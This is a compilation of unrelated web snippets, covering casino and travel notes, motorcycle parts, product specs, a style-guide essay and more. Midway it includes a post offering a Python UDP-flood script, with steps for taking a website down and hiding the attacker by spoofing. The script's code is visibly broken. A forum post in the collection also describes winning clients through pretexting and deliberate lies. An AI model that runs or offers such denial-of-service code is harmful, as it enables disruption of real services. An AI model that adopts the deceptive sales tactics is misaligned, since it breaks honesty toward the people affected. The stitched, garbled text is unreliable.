Caesars Palace includes the huge (approximately 800,000 square feet containing over 160 shops and over a dozen gourmet restaurants) Forum Shops mall, which kind of overlaps with the casino at its starting point but stretches on for what seems like miles after that with elegant sculptures, art work, retail shops and restaurants... no more slot machines. I once walked to the end of the Forum Shops from the Forum Casino and didn't feel like walking back again, so I ducked out of a delivery door and found myself deep in the midst of delivery trucks and acres of parking lots. Don't make this same mistake.
Caesars Forum Shops
This new facade (photo above) was added in 2006 and may offer easier access to the Forum Shops than going through Caesars Palace interior. I haven't checked it out yet.
Some of the artwork in Caesars Forum Shops mall
Caesars Handmaiden at Caesars Palace
"Caesars" is correctly spelled without an apostrophe as it is intended to be plural. The concept envisioned by original owner Jay Sarno in 1966 was that every guest was to be treated like a Caesar. Caesars Palace does capture an atmosphere of extreme luxury, and adds to it with their tradition of having costumed actors and actresses wandering around interacting with the general public. Gladiators, Caesar and Cleopatra, and Caesars Handmaiden are among the characters you may encounter. Considering the center strip location, the huge maze of casinos, and the self contained universe of Caesars Forum Shops; Caesars Palace should be on your list of places to consider for your next Las Vegas vacation.
Caesar & Cleopatra
As of 2012, Caesars has converted their Centurion tower into the Nobu Hotel which is owned by Robert DeNiro and specializes in sushi.
If you stay at Caesars Palace, we highly recommend that you stay in the Augustus Tower or Octavius Tower, which have a private check in desk and a private taxi stand off Flamingo Road. The Palace Tower is also good but doesn't have the check in desk or taxi stand. The Roman and Forum towers are the least desirable of Caesars five towers.
There's also an upscale food court in the middle of the casino. Instead of a greasy burger you can get high quality food fast.
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The Shrinking Lake Tuz, Turkey – May 16th, 200938.7N 33.3E
Lake Tuz, located in central Anatolia and known as the second-largest lake of Turkey, may no longer deserve that title as it has shrunk by 85 percent over the last 90 years due to global warming, drought and the over usage of its water for irrigation purposes.
Studies of satellite images by Aksaray University's Department of Engineering, Geodesy and Photogrammetry Engineering have shown that Lake Tuz covered 216,400 hectares in 1915. Since then, it has shrunk at an alarming rate, decreasing to 92,600 hectares in 1987, and to 32,600 hectares in 2005.
Scientists say that drought, the over usage of water in the lake basin for irrigation and global warming have led to the loss of water in the lake. They are calling for urgent and radical measures to protect Lake Tuz, predicting that if the necessary measures are not taken, the lake will no longer exist by 2015.


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Tuesday, January 18, 2011
Triple Racing in Germany
Your Questions about Battery Charging Answered
Q: Steve in Chicago asks "if I use your regulator (VR-0001) can I do away with my battery"
A: We don't recommend using this part without a battery. The battery is required on road bikes to ensure the lights and horn are functional even if the engine cuts out. This is especially important at night. You can find out what is allowed in your area from the local road authorities. The VR-0001 is primarily designed to improve the reliability and accuracy of the battery charging by replacing the old Lucas Plate rectifier and Zener diode. Click to read more
Q: Alan in California asks if the voltage regulator is required when fitting our Classic Twin ignition system on a 650 Triumph.
A: The regulator is a recommended upgrade to the charging system but is not required to get the new ignition system operational.
Q: From Mike in the UK who has an off road bike that he wants to run without a battery.
A: We recommend our three phase high output alternator kit for this application since the regulator (VR-0003) has the capacitor needed for batteryless operation built it. The three phase alternator has plenty of low RPM output which makes for reliable starting and idling. Our three phase regulator is also available as a separate part. Click here to order
Q: After I ride the bike the battery seems to be low does this mean I have something wrong in the charging system?
A: This question comes up often and I always recommend checking the battery first before looking for other things. If the battery is nearly new check it anyway – it's still the most likely cause of the trouble. If the battery checks out OK then you should see your local bike electrician to have the charging system checked.
High Output Alternator Kit
Great news for riders of older model Triumphs, BSAs or Nortons is the release of our new High Output Alternator Kits.
These kits are terrific and really do improve the charging systems on the old bikes dramatically. As always Steve has installed this kit on one of his bikes and says, "I put one on my T160 and noticed an improvement immediately."
With the kit installed you can run both electronic ignition and a Halogen headlamp without worrying about battery charging. It includes a Lucas 3 phase alternator, 14 Amps output power and a Tri-Spark voltage regulator. It's so easy to install Steve says he can confidently guarantee the fit! Just make sure you get the correct gap all the way around when you install the stator.
"The headlamp on my T160 stays bright even when the engine is idling which shows visually the excellent low RPM output of the 3 phase alternator," Steve explains.
To order these kits click here
All British Rally 2011
This year we're back again at the new rally location in Newstead with more new products and promotions. We really enjoy this rally and love seeing our customers and their bikes. It's in it's 35rd year this time running from Friday the 8th of April to Sunday the 10th at the Newstead Racecourse in Newstead the event is sure to be a hit with motorcycling enthusiasts and visitors alike.
Now two weeks before the traditional Anzac day and Easter weekend and with expanded facilities, great local catering, extended pub hours and such a great site the organisers expect more than 1000 British bike enthusiasts.
Tri-Spark will be featuring 2 new products - Our High Output Alternator kit and a much asked for Magneto Replacement Kit. The latter may not be in full release mode but we will be displaying a prototype if not actual parts, and will definitely be taking orders.
Only British iron and tents are allowed on the main site but there is plenty of mixed camping around the track and the organisers confirm there will be the usual feast of exotica, entertainment, trophies and a great atmosphere.
Soaking up the unique "British only" atmosphere, catching up with old friends and making some new ones while viewing the huge range of veteran, vintage, classic and modern bikes will be fantastic as will seeing the latest industry and trade offerings.
Location Newstead Racecourse Newstead Victoria
Contact Michael Poynter 0427 315 212


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Advisory Board
The program's illustrious Advisory Board, made up of experts, academics, media professionals, and corporate supporters in the field of work-life, helps focus its efforts on shaping the Take Our Daughters And Sons To Work program. Since the inception of the program, the Take Our Daughters And Sons To Work Advisory Board has met to discuss what materials, resources, information, and activities are needed to assist girls and boys in reaching their full potential in their present and future lives.
The Take Our Daughters And Sons To Work Advisory Board members are:
Jacquelyn Boggess
Center for Family Policy and Practice (formerly The Center on Fathers, Families, and Public Policy)
Ellen Galinsky
President and Co-Founder
Families and Work Institute
Kim Gandy
National Organization for Women (NOW)
Meryle Mahrer Kaplan, Ph.D.
Vice President
Advisory Services
Joe Kelly
Fathering Educator
The Emily Program
Michael Kimmel, Ph.D.
Professor, sociologist, author, and expert on men and masculinity
Deborah Merrill-Sands
Associate Dean
Simmons School of Management, Simmons College
Terrie Pologianis
Director, Corporate & Public Affairs
Lifetime Networks
Dr. Mary K. Trigg
Director of Leadership Programs and Research
Institute for Women's Leadership
Rutgers University
Jennifer Tucker
Vice President
Center for Women Policy Studies


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60 minutes
Rising Star completely reinvents the traditional singing competition as--for the first time ever--the audience has the final say in real time. The show follows a group of aspiring singers as they audition in live performances. During the performances, viewers vote via an App in real time to determine if the singer will advance in the competition. If the voting reaches a certain threshold, the performer moves on, and the performer can see how the voting is going during the performance, so the feedback is immediate and dramatic.
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Hywind, Scotland
Hywind is the world's first floating offshore windfarm. Located off the coast of Aberdeenshire in Scotland, the 30 megawatt (MW) farm is a GBP210 million project.
Masdar has 25% stake in the project, along with lead operators Statoil, who own 75%.
The facility consists of five 6MW wind turbines that are anchored in to the seafloor, existing in water depths of up to 120 metres.
When complete in late 2017, the project will provide 6,600 homes with electricity, displacing 63,000 tonnes of carbon emissions each year.
Hywind is the second offshore wind partnership between Masdar and Statoil after the Dudgeon wind farm, a 402MW project also due to come on-stream by the second half of 2017.
Quick facts
- Facility area: 4 square kilometres off the coast of Scotland
- Equipment: five wind turbines with a capacity of 6MW each that are anchored to the seabed
- Installed capacity: 30MW
- Emission reductions: 63,000 tonnes annually
- Homes powered: 20000


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BlueEFFICIENCY from Mercedes-Benz stands for pioneering efficiency technologies as well as innovative packages of measures based on optimising fuel consumption and emission levels.
BlueEFFICIENCY measures are comprehensive vehicle optimisations that help to save fuel and ease the burden on the environment. The new E-Class Saloon combines the most efficient engines with well-designed aerodynamic and energy management measures to keep fuel consumption to a minimum.
In 2005, Mercedes-Benz was the first automotive brand in the world to be awarded the environmental certificate of the German Technical Inspectorate, South Section (TÜV Süd) . To the present the vehicle models have to meet strict requirements for this certification and undergo stringent controls in their development, production and recycling. Our goal: to make environmental protection objectively measurable and to enable you as the driver to experience it concretely.
For more information, you can download the Environmental Certificate here:
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text: Jesse (Tim Daly) has never had a problem finding a girlfriend. It's maintaining the relationship that's his issue. When an ex-girlfriend of his dies, Jesse impulsively asks his most recent fling, Hannah (Olivia d'Abo), to marry him -- a proposal she quickly turns down. Left confused by the rejection and his dating history, Jesse decides to seek out his former loves for answers on why the relationships ended. While traveling to the funeral, Jesse has quite a few detours to make along the way.


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Dr. Ronald Ernest Paul on Alan Colmes Show to discuss Fake 'Anti-War' Dems, IsIs, MSM...• Daily Paul.com
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Wednesday on "The Alan Colmes Show," Alan spoke with former Congressman and Presidential candidate Dr. Ron Paul about President Obama's strategy for defeating ISIS in the Middle East.
Dr. Paul criticized liberal Democrats who said they were anti-war during the George W. Bush Administration, but now support President Obama. He also discussed where he differs with his son, Sen. Rand Paul (R-KY), and his recent comments about how Scotland's vote on independence could influence others movements, including secession in the United States.


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Anyone who's been to a strip mall with a chaotic sign post has witnessed design without rules and guidelines. Store signs are displayed in every typeface, color and decoration imaginable—anything to help "make the store sign stand out." Each attempt to stand out ultimately gets smothered by the overall pool of visual loudness. While a certain amount of uniqueness helps people distinguish one store from another and make sense of the information, order and consistency help give structure and format to the store list. Maybe one rule is each store sign must be a painted wood panel. Or, maybe the sign post is laid out according to the store locations within the strip mall (north, east, south, west)—some guidelines to help viewers make sense of the content and choices in front of them.
Visual style guides help place the necessary boundaries around what's acceptable and what's not acceptable in adding and growing content and visuals to the overall system. They're most often used as a compass upon which to navigate the unfamiliar terrain of new content needs.
1. Maintaining Visual Consistency Helps Users Make Clear Choices
Imagine being in an airport in a foreign country where you're trying to navigate your way through to your next flight. Things are unfamiliar, visuals are new, and you're looking for symbols and labels you recognize to find your way through the chaotic space. Now imagine that all the way finding symbols are inconsistent. It says, "Gate B" in large blue sans serif type in one hallway, but is script and bright yellow in the next hallway. Not only would it be confusing, but it would also feel like you might be in the wrong place. Our brains need a certain level of consistency to feel as though pieces connect and feel part of a whole. In the same way, digital brands need consistency in order to build trust, confidence, and clarity from their audience.
2. Style Guides Facilitate Consistency Across a Variety of Brand Touchpoints
Major brands have done this for decades. Brands are not simply a cool logo and a pleasant color palette, they are living and growing entities that connect with people in many different ways. So the need to create guideline documents to ensure the brand feels the same across packaging, clothing, sales materials, advertising, and even vehicle design, for example, is extremely important. The extent of how brands deep come into contact with people is examined by Saul Bass in his brand refresh pitch for Bell System (AT&T).
Saul Bass' pitch is so deep and broad it's staggering. His team explores the Bell System brand as it is applied to virtually every touchpoint. During the presentation, he continually reminds the viewer of the need to build a solid framework for the visual expression of the brand. Although this pitch isn't a traditional style guide document, it does prove the need to build a rational and dependable visual reference guide and shows what happens when brands are left unattended.
3. It's A Reference as a Brand Grows and Evolves
Style guides are meant to maintain control over visuals and content writing as a brand or website expands and grows. Brands and digital domains aren't static, they are constantly evolving and moving with their audience. The need for new materials, domains, videos, social media responses, and visual assets is inevitable. And in order to keep up with these demands, style guides provide a reference source to return to as new pieces are created.
4. Visual Style Guides Allow Multiple Contributors to Develop New Content with Confidence
Many of the websites and digital entities we produce aren't simply launched and set on the shelf. This typically causes anxiety in the designers and developers who have poured hours into creating a website or digital brand that functions well and is visually appealing. We sometimes lose sleep thinking about what could happen when we hand the keys over and let go of our creative product. But, ultimately, marketers need to be able to maintain and develop content after the launch of a website or digital brand, often without the direct guidance of the agency or team who originally created the website. This is where the rubber meets the road for visual style guides. These guides can serve to protect the visual design and content integrity of the website. It's important for visual style guides to not only cover rules pertaining to the existing site, but also foresee potential future additions. The guide is also not simply a way to translate the visual guidelines to the marketers, but it also allows the brand stakeholders to disseminate these guides within their organization, so multiple content contributors (be it in-house writers, or designers, or outside contractors) can participate while remaining consistent with the overall tone and feel of the brand and website.
This is not to say that visual style guides can solve every problem that arises as content grows and websites evolve. But, good ones should have a considerable forecasting of the future. Digital agencies are still required for sections that grow beyond the initial templates. Good style guides should encourage new content rather than suppress it. Marketers shouldn't feel restricted when writing and developing new content or visuals. They should feel confident they have the support they need as they fill the websites with new (and consistent) content.
Visual style guides aren't built overnight. There's a lot of information to consider and include within the document. Depending on the need, they can range from a one-sheet synopsis to a hundred pages. As agencies and marketing teams build these guides, it's helpful to keep the process iterative. Start with the basic visual elements (logos, and logo usage, color palette, typography, photography tone, textures/patterns, and voice and tone of copywriting), then add elements as you need. This is a great time to begin to send the document around the company to build culture and energy around the newly refreshed brand and begin instilling the precedents for maintaining the brand.


text: Russia's dash-cams prove yet again their infinite entertainment value. This bear–this stupid bear who runs right into traffic–gets slammed full-speed by a car, and there's some head-over-heels action, some spinning upside-down in the mud, and a moment of pure bewilderment as it finally regains control of its body. Physics, what a trip.


text: As a nineteen year old college student with no time or interest to get some crappy part time job, I recently decided to give internet marketing game a try. After failing miserably at (giving up on) making adsense blogs, I figured I would take a look in the offline section and see what its all about. After almost immediately realizing the potential in offline marketing, I've recently put my findings and research to work and even developed my own method of somewhat manipulating prospects in my favor. I don't think I'd consider it entirely black hat, though, so I'll call it a grey hat method instead. Social Engineering is commonly defined as manipulating people performing certain actions or divulging information. I hope after reading that sentence that you instantly realized how such an idea can be twisted into your favor when it comes to dealing with potential clients. The letter that I'm including in this thread is the first attempt I made to get a client via mailing. I will point out the truths and falsehoods of the letter to give a better understanding of how I applied a social engineering method to it. Oh, and yes.. you better believe that I decided to make my first attempt on the very business that I pay rent to; my apartment complex. What I did here is not only address the fact that I'm a college student (which can seem more interesting to the prospect rather than a letter that has corporate agenda written all over it), but also immediately dove into bring up that I'm trying to start a business. The reason why I did this first is because by linking it with the college student ploy, I've managed to lower the possibility of the prospect being suspicious of hidden agendas. (as opposed to if I had mentioned it after making it seem like I may be trying to sell something.) Instead of thinking "Oh, its just another sales letter" the prospect has been geared more towards thinking "wow, starting a business as a college student?" Setting up a situation that would provoke this potential change in their though process is often referred to as pretexting. Or as I like to call it, "the plug". Now this is where I like to further push the though process behind the plug a little deeper. I've colored these portions orange because these are mainly the "smoke and mirrors" portions of the letter that are aimed at presenting yourself in a way that is merely aimed at impressing the prospect enough to set yourself apart from many competitors, but not so much to the point that you'll come off as fake. Now the reason why these sections aren't just red is because that while the statements being made are aimed to impress, they are also true statements that I've just thrown some verbal glitter on. Here comes the portion that will likely turn some people away from this method; the lie. Any one of you who read the red sentence should know that I have no interest in talking to them just to gain a little bit of knowledge. We all know that the second I got into the meeting that I had to throw my game face on and present myself in a way that wouldn't instantly give away the idea that I'm there to make a sale. Don't worry, I'll explain how that was done next. This is where I would normally leave a hook for my prospect but in this case, because it happened to be my next door neighbor, I decided to just leave a humorous comment. Now by hook I typically mean a link to some free content on my site. I use a great rebrandable document that discusses more in-depth the world of online reviews, and why having negative reviews can be greatly hurting their customer base. So, as no surprise (considering I literally happen to live next door to one of the lower-end managers of the apartments; the person who the letter was to) I got a call back and they gladly told me who I should talk to. I mean why not? As far as she knows, I'm just attempting to conduct some insider research. Skipping ahead to the meeting (I don't want to bore you with the process of getting the meeting as it was very similar to the method used in this letter, just in a phone call and to the person whom I really needed to be talking to.) I was all ready to go. I had my figures memorized, my documents prepared, and I looked the part with a NICE button-down shirt, slacks, and dress shoes. (The reason behind avoiding the whole suit and tie approach is simply because I need to preserve the idea that I'm a motivated college student and not some weasel type of businessman trying to sell a product by presenting a facade.) The documents I had prepared were the same ones I would have included if I were to send out the full package with the letter. Included was printouts of any high to semi-high PR review sites (Google places, Yahoo local, and apartment ratings in this case) and the Google search results which lead me to said pages. Now the idea behind how I needed to present the documents was simple, but the delivery is what will either make or break this attempt. Basically you will want to convince them (in a casual but serious manner) that by presenting them these figures that you are merely using them as an example and are simply looking for feedback on your approach. The reaction I got out of this was mixture of negative and positive, but both aspects work in our favors at this stage of the game. The positive was mainly the shock and awe factor behind me, with them knowing that I'm a full-time college student, taking the time to do this research on their business just so I can get some feedback on my (as far as they know) "mock-up" business model. The negative aspect was that they were stunned to see some of the things being said online, not only about their business, but about one of them personally as well. (oh and it was a doozy.) :chicken_w So after I explained to them VERY briefly about what online reputation management is (never once mentioning that I think they need it as I've already managed to push that point with the "example" review pages) and as I was getting prepared to make my casual conclusion to the meeting, without even needing to prompt it the head apartment manager point blank said to me "Hey, you never mentioned anything about pricing. What does this type of service go for?" After discussing few memorized figures about what my competitors would likely charge and mentioning that I plan on charging less than they will in order to present the idea that I'm not doing this to get rich, but to simply put myself through college by doing something more fulfilling than flipping burgers; I pretty much had them eating out of the palm of my hand. In an idle discussion that occurred during the meeting, I also made it a point to present my stance on how the laziness, lack of respect, and complacency displayed by a vast majority of the knuckleheads of my generation (known as Generation "X") has made it tough for me to get my foot in the door with other clients just because they assume that I'm guilty by association. For whatever reason, those from previous generations love, and I mean LOVE, to see a younger person who seems to share similar opinions about today's youth as they do. So I hope that this slightly darker, but not quite black hat method for us younger guys and gals to exploit the negative connotations about our generation in a way that blows the prospects away. I also don't doubt that such type of social engineering could easily work for those who aren't as young as they used to be. That just means they have to apply some of that extra wisdom they've gained through the years towards twisting this method to work for them. Thank you for taking the time to read this. I always love to hear about others' success around here on BHW so I figured it was time to share a success of my own.


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French Bistro Style Brought Home
Home kitchens and dining areas can incorporate the feeling of a French bistro through furnishings, layout, and materials. Let's take a look at a few inspirations:
• 1 The ladder, bright natural light, and casual seating in this kitchen give it a little of that bustling feeling of a busy French bistro.
• 2 A breakfast area by with cafe-style seating.
• 3 They're pricey, but gorgeous! The Luxembourg by Maison Gatti.
• 4 Bentwood vintage mixed with open industrial no-nonsense.
• 5 Light and bright bistro chairs with a rustic dining table in an open kitchen.
Related: Kitchen Tour: Paule Caillat's Splendid Paris Kitchen
(Images: Peter Pennoyer Architects Ashley Whittaker, Maison Gatti, Domino, Homes and Gardens)


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By Frank
Running, a sports that is simple, fun and healthy. We all enjoy it. Put on a pair of running shoes (or even go barefoot) and you are all ready to go. It's also an easy sport to burn those calories away and also one to de-stress after a hard day's work.
The above sounds really great, isn't it. However, running has also its risk shall we not be careful ourselves. Although fatality rates from running is very low, it still does happen. We all must learn to listen to our own body (yes I know many of us has mentioned this, but I have to mention it here again). When a certain joint or muscle is aching or even the from the slightest cough, our body is trying to tell us something, no matter how serious it is.
It is true that our weaker side will define our stronger side. My darkest days of suffering and fighting cancer defined who I am today. However, we must fight our weaker side today before thinking of our tomorrow. Without today, there is no tomorrow.
The marathon at 42.195KM is a long journey to tackle and training for it is no easy task. Double the insanity, we have the 84KM followed by the 100KM and the 100 milers. Running distance just never ends and we all seek to outdo ourselves. However, please remember that we are not professional runners. We do not run for fame or for podium finishes. It's just not our bread and butter. We run because its simple and fun. We run because its a sport where we make lots of friends. We run because it keeps us healthy. We run to keep stress at bay. We run because our body naturally releases endorphin. There is just so many positive benefits to it, if we think twice of the risk involve. Manage the risk well, and running will be positive.
My sudden outburst of this entry is because of a very GOOD friend of mine. I hope you are reading this else I will scream it to you via the Vuvuzela! Craze Ultra on 22 September 2012 at 161KM is certainly a distance for the insane. Even myself has not run that distance. Yes, we both signed up and we are both crazy. But watch that body of yours. It's just not worth it to put so much stress and pressure on it and your own mentally self. Starting the race is one thing, surviving it is another. But shall we are not able to finish it, so be it. There is always another running event somewhere and sometime in the future. Just make sure we all pull through each day, and we will start together at the Ultimate Human Race next year. That's our ultimate aim, isn't it?
Cancer, cardiac arrest, stroke, asthma or even the slightest flu, all these are a disease, a sickness that we all must be careful with. Some of us wants to show the world that even those with some disability can do the norm, but please think twice. Is it worth it, especially when it involves your own life? Remember, there is always another day, another running event, another chance. But there is no chance for another life. Think again...


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School's Out and Here's Some Fun Things To Do With Your KidsTUE, 18 AUG 2015
As I packed away some old things last weekend, I found my old trusty portable camping stove. I last used it during a trip to Endau Ro...
Imagine standing in the widest, clearest chamber imaginable to man. There is no technology. No construction. No trace of modern mankind. Only your breath against the sounds of nature, and your flashlight illuminating your every step. Now imagine touching and running your hands through the creased, aged crawlways. You're knee-deep in running water and wading your way through soft current, listening to the chatter of geckos and bats.
And you stop in your tracks, only to behold that you're in the middle of a space so massive, it makes you look almost insignificant in comparison. In a place so wide, so quiet, so mysterious and so untouched. With the help of advanced lights and a little bit of gut, you look around the illuminated darkness to discover aged rock walls dating over a billion years back. With the echoes of bats within earshot, you take a deep breath and absorb the fact that you're standing in none other than the great Sarawak Chamber.
Part of the Gunung Mulu National Park in Sarawak, one of the two states in East Malaysia, the Sarawak Chamber situated on the northern side of the Melinau Paku Valley is a part of Good Luck Cave. Recognised as the largest underground chamber in the world, it boasts a dimension measuring 2,300 feet long, 1,300 feet wide and – at the very least – 230 feet high. It's approximately three times the size of the esteemed 'Big Room' in Carlsbad Caverns National Park in New Mexico, an underground chamber once thought to be the largest in the world.
To put everything into perspective, it is able to fit 10 jumbo jets – nose to tail in a straight row – all at once. But if you were to imagine completely filling up every nook and corner, you're looking at a whopping 40 jumbo jets in a massive enclave. It's awe-inspiring when you try to stomach the beauty of Mother Nature, and even more so if you were to put yourself in the shoes of the three Englishmen who had first found the room.
Andy Eavis, Dave Checkley and Tony White are recorded as the first men to discover the chamber. Their expedition, dated January 1981, saw them diving into the dense, unpopulated area of the Gunung Mulu National Park. They were initially part of a larger crew of over 20 people who made up the Mulu '80 exploring team, but with hostile weather and unforgiving accidents striking the luck of others, only the trio made it to discover Good Luck Cave and a massive 12 million cubics of pitch black darkness which we now know as the Sarawak Chamber.
In Dave Checkley's journal, he wrote about his trying efforts in discovering, surveying, photographing and mapping the chamber. He added that the exploration took an extremely long time, which made them realize that they had found something priceless. "It wasn't until we drew up the survey the following day that we realized that we had found by far the biggest chamber in the world—we just had to call it Sarawak Chamber," he wrote. "It was a fitting end to a wonderful expedition."
Having this record set in the 1980s, flags were raised when other explorers discovered what seemed to be equally massive 'rooms' in other countries such as China's Cloud Ladder Hall. With that in mind, a recent expedition was made to re-calculate the size of the Sarawak Chamber. Called the Mulu Caves 2011 Expedition, a modern laser scan was conducted by Kevin Dixon and his team to produce a virtual 3D cave model. It illustrated the chamber's tremendous size, putting in the same league as some of the world's tallest buildings including the Burj Khalifa, Taipei 101, and the Petronas Twin Towers. When the results came in, the Sarawak Chamber was revalidated and maintained its status as the biggest underground chamber in the world.
Visits to the chamber will first require the approval of the Park Manager and costs a little over RM200 per person. As a general safety rule of caving, a minimum headcount of three people is required before trekking. During your visit, expect a 3-hour long trail to reach the entrance of Good Luck Cave. Then, you'll take another 3 hours along an 800-metre river with sheer rock faces on the side. Then, you'll reach a steep boulder slope where you'll come face-to-face with the blackness of the world's largest chamber. The total duration of the visit is estimated to take a full day.
So if you're looking to discover the undiscovered, the Sarawak Chamber is a great place to start. Get carried away along the way by beautiful rock formations, rivers, puddles, fragile animals and shockingly vast rooms – you're bound to leave Borneo having found a piece of gem in its untouched rawness.
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Disclaimer: Following this might lead you into trouble as it is unlawful to perform such actions. I would not recommend anyone trying for a long period as it might actually take down a website. You might end up behind the bars too. I take no responsibility if anything goes wrong. I'm just doing the knowledge transfer.
Theoretically, any website can be brought down. But it all depends on how you perform the action.
One should always remember that it is highly difficult to take down a website like Google, Inc. In other words, it is next to impossible without proper hardware support. It might take many hundreds of thousands of computers to bring it down.
A Python code snippet is also pasted in the bottom.
Note: The code is not written by me. I don't exactly remember the website this posted to give the credits.
But to demonstrate how it works to take down a website, follow these steps.
import socket
import random
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)
ip = raw_input('IP address: ')
port = input('Port number: ')
duration = input('Number of seconds to send packets: ')
timeout = time.time() + duration
sent = 0;
while True:
if time.time() > timeout:
sent = sent + 1
print "Sent %s packets to %s through port %s" %(sent,ip,port)
- Try looking for a IP address associated with the domain name using nslookup or ping.
- Run the code and paste the IP address when asked.
- Enter the port number to which the packets are to be sent.
- Enter the duration in seconds to send the packets to the website.
- A number of UDP packets are sent to the particular IP address for the given duration.
Technically, it might take many hours and at least 15 computers performing this action simultaneously to bring the website down assuming it does not have a great firewall.
Action behind code:
Here what basically happens is that, we trigger a so-called UDP flood. A UDP flood attack can be initiated by sending a large number of UDP packets to random ports on a remote host. As a result, the distant host will:
- Check for the application listening at that port.
- See that no application listens at that port.
- Reply with an ICMP Destination Unreachable packet.
Thus, for a large number of UDP packets, the victimized system will be forced into sending many ICMP packets, eventually leading it to be unreachable by other clients. The attacker may also spoof the IP address of the UDP packets, ensuring that the excessive ICMP return packets do not reach him, effectively anonymizing the attacker's location on the network.
P.S. Please don't execute this for a long periods of time.


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Another Bockfest Under the Belt
Posted by bobbi on Mar 9, 2011 in Uncategorized |
And each year seems to bring a more heavily 'rendezvous' influence. The fur and trapping costumes are becoming quite accomplished and in addition to the beer, worth the price of admission. Inventive to say the least! So for those interested, this weekend, March 11-13 brings the always intriguing 'History and Trade Show' at Turner Hall. Much fun for children and adults alike. You just might discover your attire for next year's bockfest or fashing event!


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The Radial Engineering StageBug SB-1 Acoustic is an active direct box that has been specifically designed to provide a quick and dependable connection from your instrument to the PA. In other words, it converts the hi-Z output from your instrument--typically a 1/4" guitar jack--to a balanced low-Z signal via standard 3-pin XLR connectors. Balancing the signal reduces noise, enables longer cable runs, and improves the sound quality by properly matching the instrument's impedance with that of the PA. And with 48 volt phantom powering, the SB-1 does not require batteries or external supply to make it work. You simply plug in and you are set to go.
The active circuit features 220kΩ input impedance to eliminate problems with loading while delivering a smooth, warm sound to the audio system. This is particularly important when interfacing vintage guitars with low output pickups when you plan to do some recording or re-amping. This unit is also equipped with a -12 dB pad, which reduces input sensitivity of the circuit to enable louder instruments to be used without distortion. To reduce feedback, toggling the 180° polarity switch helps eliminate hot spots on stage that can cause low-frequency resonance.
Made to fit inside a guitar case for players that are on the move, this compact DI box delivers enhanced sound throughput. Although the SB-1 has been optimized for use with acoustic guitars, it is also well-equipped to handle electric bass guitars and keyboards.
|Circuit Type
|Active buffer with phase splitter
|Frequency Response
|20 Hz to 20 kHz
|Total Harmonic Distortion
|Dynamic Range
|>100 dB
|Input Impedance
|800 k / 23 k
|Maximum Input
|+2 dBu / +8 dBu
|+1.3 dBu / +4.4 dB
|Clipping Level
|Output: +3.3 dBu / +12.3 dBu
|Output Impedance
|Equivalent Input Noise
|-101 dBu
|Noise Floor
|-97 dBu
|Intermodulation Distortion
|Deviation from Linear Phase
|25 / 12° maximum
|Pad, Phase
|Automatic merge
|Input Pad Switch
|-12 dB
|XLR Configuration
|+ = Pin 2, - = Pin 3, Ground = Pin 1
|Polarity Reverse
|Yes, 180°
|16 gauge steel chassis and outer shell
|Baked enamel
|48 V phantom power
|Dimensions (L x W x D)
|4.50 x 1.85 x 1.35" (11.40 x 4.70 x 3.40 cm)
|0.55 lb (0.25 kg)
|Packaging Info
|Package Weight
|0.65 lb
|Box Dimensions (LxWxH)
|7.3 x 4.6 x 1.7"


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On a campus where most things are triangulated within four dimensions of irony, 21CC's earnestness combines with genuine musicality to create what serious music critics call a "bop."
Yes, it's a tragedy that all that is bomb-dot-com tasty is moved ever farther from the masses, dangled tantalizingly before the eyes of undergraduates like a spicy salami in the smokehouse. But I will sleep tonight with a small sliver of hope.
3 a.m. is the cruellest hour, breeding
Burritos out of the dead night, mixing
Memory and desire, stirring
Dull guacamole with gloved hands, feeding
A little life with Spicy Black Beans.
Some say Lee—tai chi master, Harvard fixture, sword-repeller—can even cure broken bones.
He was careful not to keep track of anyone's section preferences, as he was not looking for anything serious right now.
There's an air of mystery to the Van Holten's pickle—thousands of milligrams of sodium lie beneath a thin layer of plastic, concealing a cucumber that has been radicalized.
He recalls casting lines and waiting for hours, sometimes without a single catch.
In the 1950s, two Harvard professors tested the birth control pill on mentally ill Massachusetts women and low-income Puerto Rican women, raising questions about research practices at Harvard and beyond.
The doors squealed open and we bounced in a jiffy onto the 5 p.m. Crimson Cruiser, pulling ole Bull in behind us just as everyone was tooting to go.
Wofsy and his team maintain a worldwide network of ground and airborne instruments dedicated to monitoring changes in the climate and the atmosphere. They are currently preparing to fly 70,000 km in order to measure pollution in the remotest areas of the world.
Moments became unspindled, blown open by the rush of activity, and, as I stepped into my first semester, I was swept into an insidious cycle of busyness.
The air feels so much more viscous at that velocity, and you bet your ass I don't wear a helmet.
Don't they understand that Dick Clark Productions is all we have left? That Ryan Seacrest is all there is? That all that awaits America is death and economic decline?
At the Medical School, problems with mental health are not unusual. In a March 2016 survey conducted by Medical School students, 20 percent of third-year respondents said they had experienced either suicidal or self-harming desires within the last two weeks. Third-year students face extra stressors: They begin clinical rotations, facing long shifts in a difficult environment.
That's the whole trouble with the whole stupid housing thing. You can't ever find people who aren't phonies. They bicker about the goddam group name or something, or want to block with Alexander, just about the biggest bastard that ever lived in the whole crumby history of the world.


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The words "crossover" and "Lexus" usually don't excite car lovers, but the Japanese luxury brand hopes its 2015 NX will change that.
Set to debut at the 2014 Beijing Motor Show and previewed by a couple of concepts, the NX will feature styling that could turn the rather conservative compact luxury crossover segment on its head.
That is, if the production model looks anything like the LF-NX concepts Lexus displayed at the 2013 Frankfurt and Tokyo motor shows. Both featured razor-edged styling and a bold version of Lexus' signature "spindle grille" that seemed to be inspired by a bottom-dwelling fish that kills its prey with poisonous barbs.
The teaser image Lexus released ahead of the production NX's Beijing debut hints that some of those elements remain.
The LED running-light slash seen on the concept is prominently featured, and will visually tie the NX to the IS sedan and RC coupe. The crossover's headlights and grille also appear to have been reshaped to more closely resemble those of the IS.
Customer attitudes are hard to predict, especially when it comes to Lexus' wacky designs, but the NX should provide an interesting counterpoint to the smooth curves of the Mercedes-Benz GLA-Class and Lincoln MKC, and scare more conservative crossovers like the Audi Q3 and BMW X1 right out of the Starbucks parking lot.
Underneath the sci-fi styling will be two powertrains. The NX 300h will feature a hybrid setup, will the NX 200t will have a 2.0-liter turbocharged four-cylinder, a first for a production Lexus.
However, the styling and up-to-date power trains may be betrayed by the NX's bones. The baby Lexus will be based on the Toyota RAV4, not the best platform for a sporty vehicle.
While it may not have the sporty character to back up its looks, the 2015 Lexus NX could carve itself a niche in the compact luxury crossover segment through shock alone.We'll find out at the 2014 Beijing Motor Show, which begins April 20.